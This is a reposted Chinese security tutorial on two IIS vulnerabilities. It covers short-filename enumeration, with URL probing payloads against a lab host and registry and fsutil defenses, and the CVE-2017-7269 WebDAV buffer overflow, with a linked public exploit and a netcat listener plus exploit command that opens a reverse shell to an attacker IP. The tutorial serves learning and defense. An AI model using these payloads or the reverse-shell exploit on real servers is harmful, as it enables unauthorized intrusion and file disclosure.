ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

中间件漏洞篇 iis短文件名漏洞与iis远程代码执行漏洞

2021-10-20 01:32:13  阅读:364  来源: 互联网

标签:文件 IIS iis 文件名 漏洞 猜解 abcdef 代码执行


中间件漏洞篇 02 iis 短文件名漏洞 iis远程代码执行漏洞

iis 短文件名漏洞

1.介绍

Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位

Windows的程序访问这些文件。在cmd下输入"dir /x"即可看到短文件名的效果。

image-20211020000814350

2.漏洞描述

此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

2.原理

IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400。

漏洞成因:

为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3短文件名。

在Windows下查看对应的短文件名,可以使用命令dir /x

当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。

当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。

目前IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六

IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功

短文件名特征:

1.只显示前6位的字符,后续字符用~1代替。其中数字1是可以递增。如果存在文件名类似的文件,则前面的6个字符是相同的,后面的数字进行递增

img

2.后缀名最长只有3位,超过3位的会生成短文件名,且后缀多余的部分会截断。

img

3.所有小写字母均转换成大写的字母

4.长文件名中包含多个”.”的时候,以文件最后一个”.”作为短文件名的后缀

img

5.长文件名前缀/文件夹名字符长度符合0-9和A-Z、a-z范围且需要大于等于9位才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件。

img

3.复现

IIS8.0以下版本需要开启ASP.NET支持,IIS>=8.0版本,即使没有安装ASP.NET,通过

OPTIONS和TRACE方法也可以猜解成功。以下通过开启IIS6.0 ASP.NET后进行复现。

测试环境为windows server 2003 r2,开启webdav服务和net服务。

image-20211020000915252

2、使用payload验证目标是否存在IIS短文件名漏洞,下图显示的404,说明目标存在该短文件名

Payload: http://192.168.10.130 /*~1*/a.aspx

img

http://192.168.10.130/ttt*~1*/a.aspx

注:*可以匹配n个字符,n可以为0

3、浏览器访问一个不存在的短文件名,返回”Bad Request(400)”,说明目标不存在该短文件名

img

4、通过浏览器访问上面两个payload,根据返回的结果,可以说明目标存在IIS短文件漏洞

5、判断漏洞存在后,接下来手工详细分析猜解IIS短文件名原理

5.1、在网站根目录(C:\Inetpub\wwwroot)下创建一个abcdef123456.txt文件

5.2、浏览器分别访问http://192.168.10.130/a*~1*/a.aspx, http://192.168.10.130/b*~1*/a.aspx

img

img

5.3、通过以上两个图片,可以看出存在一个以a开头的短文件名

5.4、按照上面的方法依次猜解可以得到

http://192.168.10.130/abcdef*~1*/a.aspx

,到此,已经猜解出来短文件名,到了这一步,需要考虑两种情况,以abcdef开头的是一个文件夹还是一个文件。

如果以abcdef开头的是一个文件夹,那么浏览器访问

http://192.168.10.130/abcdef*~1/a.aspx

,将返回404,如果abcdef开头的是一个文件,需要猜解后缀名

5.5、浏览器访问

http://192.168.10.130/abcdef*~1/a.aspx

,根据下图返回结果说明以abcdef开头的不是一个文件夹,而是一个文件

img

5.7、用a-z的26个字母依次替换上述a的位置,当替换成t时,返回404页面,说明该短文件的第一位后缀是t

img

5.8、按照上面的方法依次猜解得到该短文件名的后缀是txt

5.9、到此为止,已经猜解出该短文件名为abcdef~1.txt

6、根据已经猜解出来的短文件名abcdef~1.txt,继续猜解出该短文件名的完全文件名为abcdef123456.txt

7、使用IIS短文件名扫描软件(iis_shortname_Scan),获取目标存在哪些短文件名

img

四、漏洞防御

1、升级.net framework

2、修改注册表键值:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem

修改NtfsDisable8dot3NameCreation为1。修改完成后,需要重启系统生效。

命令行关闭 fsutil behavior set disable8dot3 1

注:此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消失。如果不重新复制,已经存在的短文件名则是不会消失的

2.1重启系统之后,在网站根目录(C:\Inetpub\wwwroot)下创建hhhhhhhhhhhhhhhhhhhh.txt,然后查看是否会生成短文件名。下图可以看到,没有生成短文件名,说明防御生效

将web文件夹的内容拷贝到另一个位置,如c:\www到c:\ww,然后删除原文件夹,再重命名c:\ww到

c:\www。

img

2.2、将wwwroot目录下文件复制到另一个back文件下,然后删除原wwwroot目录下所有内容,再把back下的内容重新复制到wwwroot目录下,这时重新查看,则不存在短文件名了

img

该漏洞的意义:

1、 猜解后台地址

2、 猜解敏感文件,例如备份的rar、zip、.bak、.sql文件等。

3、 在某些情形下,甚至可以通过短文件名web直接下载对应的文件。

该漏洞的局限性:

1、 只能猜解前六位,以及扩展名的前三位。

2、 名称较短的文件是没有相应的短文件名的。

3、 不支持中文文件名

4、 如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配

5、 需要IIS和.net两个条件都满足。

iis RCE-CVE-2017-7269

1.介绍

Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的

ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If:<http:// 开头的长标头执行任

意代码 PROPFIND请求

由恶意的 PROPFIND 请求所引起:当 If 字段包含了 http://localhost/xxxx 这段超长URL时,导致缓冲区溢出(包括栈溢出和堆溢出)

具体位置在w3wp.exe,httpext模块的ScStoragePathFromUrl函数处。

  • httpext!ScStoragePathFromUrl+0x360 处复制内存时产生了堆溢出
  • 被溢出的堆块在 httpext!HrCheckIfHeader+0x0000013c 处分配;
  • 崩溃所在位置也是从函数 httpext!HrCheckIfHeader 执行过来的;

2.影响范围

WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。

image-20211020005100709

2.github下载exp

https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269
nc -lvnp 9999
python iis 受害者IP 80 攻击者IP 9999

image-20211020010251631

防御

1.关闭 WebDav服务

2.升级

3.部署安全设备

文章转载于:https://www.jb51.net/article/166405.htm

https://www.cnblogs.com/17bdw/p/11874484.html#_label2

标签:文件,IIS,iis,文件名,漏洞,猜解,abcdef,代码执行
来源: https://www.cnblogs.com/mwyw/p/15427180.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有